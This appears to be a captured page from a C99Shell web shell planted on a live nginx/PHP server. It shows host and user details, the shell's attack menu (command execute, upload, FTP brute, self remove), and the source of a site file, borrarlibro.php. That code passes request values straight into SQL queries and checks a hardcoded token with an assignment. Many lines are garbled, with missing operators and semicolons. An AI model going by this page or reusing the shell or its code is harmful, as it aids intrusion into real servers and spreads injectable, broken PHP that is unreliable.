!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/   drwxrwxrwx
Free 83.36 GB of 96.73 GB (86.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     borrarlibro.php (2.07 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<head>
<link rel="stylesheet" type="text/css" href="../frames/nuevo.css">

<link rel="STYLESHEET" type="text/css" href="../frames/estilo.css">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script src="./js/AjaxCode.js"></script>  
</head>
<body>
<?php
include ("../frames/conn.php");   
include 
"../frames/classes/class.log.php"

 
$desencripta=new encriptor;
$id=$desencripta->decrypt($_REQUEST['ID']); 
$control= new control();

$anonimo=true;
 if (
$control->usuario<>"anonimo")$anonimo=false;  


$query2="SELECT *
FROM libros 
WHERE id='
$id' "

//40  
$rowsin=mysql_fetch_array(mysql_query($query2,$conn));


$diferencia=date_diff($rowsin['tiempo'],date("Y-m-d")); 
if ((
strtoupper($control->subgrupo)==="BIBLIOTECARIO"  or (trim(strtoupper($control->usuario))===trim(strtoupper($rowsin['correo'])) and  $diferencia <=))  and  !$anonimo){ 



  

if (
$_REQUEST['ftk']="34trx34"){
  
  
$sql="UPDATE libros SET INFTP=6 where id='$id'";
}else{
   
$sql="UPDATE libros SET INFTP=7 where id='$id'";  
}
    
  
$res=mysql_query($sql,$conn);
  echo 
mysql_error();
  
  
$sql2="delete  from  sinopsis   where id_book='$id'";
  
//$res2=mysql_query($sql2,$conn); 
  
echo mysql_error();  
  
  
  
  
  
$control->actividad="_borrado";   
$sql="select * from libros where id=$id";
$rowlibro=mysql_fetch_array(mysql_query($sql,$conn));



$query="insert estadistica (id_book,
 fecha,
 ip ,
 titulo,
 autor,
 accion,
 nick) 
 values(
 
$id
,'"
.$control->fecha.
"','".$control->ip.
"','{$rowlibro['titulo']}','{$rowlibro['autor']}','".$control->actividad.
"','".$control->usuario.
 
"')"
mysql_query($query,$conn);

  
  
  
  
  
  
  
  
  

    
       
       echo 
"<BR><CENTER><h1>borrado realizado</h1><BR>"
   
   }    
   
   function 
date_diff($date1$date2){
       if (!
is_integer($date1)) $date1 strtotime($date1);
       if (!
is_integer($date2)) $date2 strtotime($date2);  
       
       return(
floor(abs($date1 $date2) / 60 60 24));
       
}  
   
   
   
?>
<a href='../frames/listagenero.php' style="text-decoration:none"><img src="../frames/volver.jpg" border=0></img></a>

  


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0031 ]--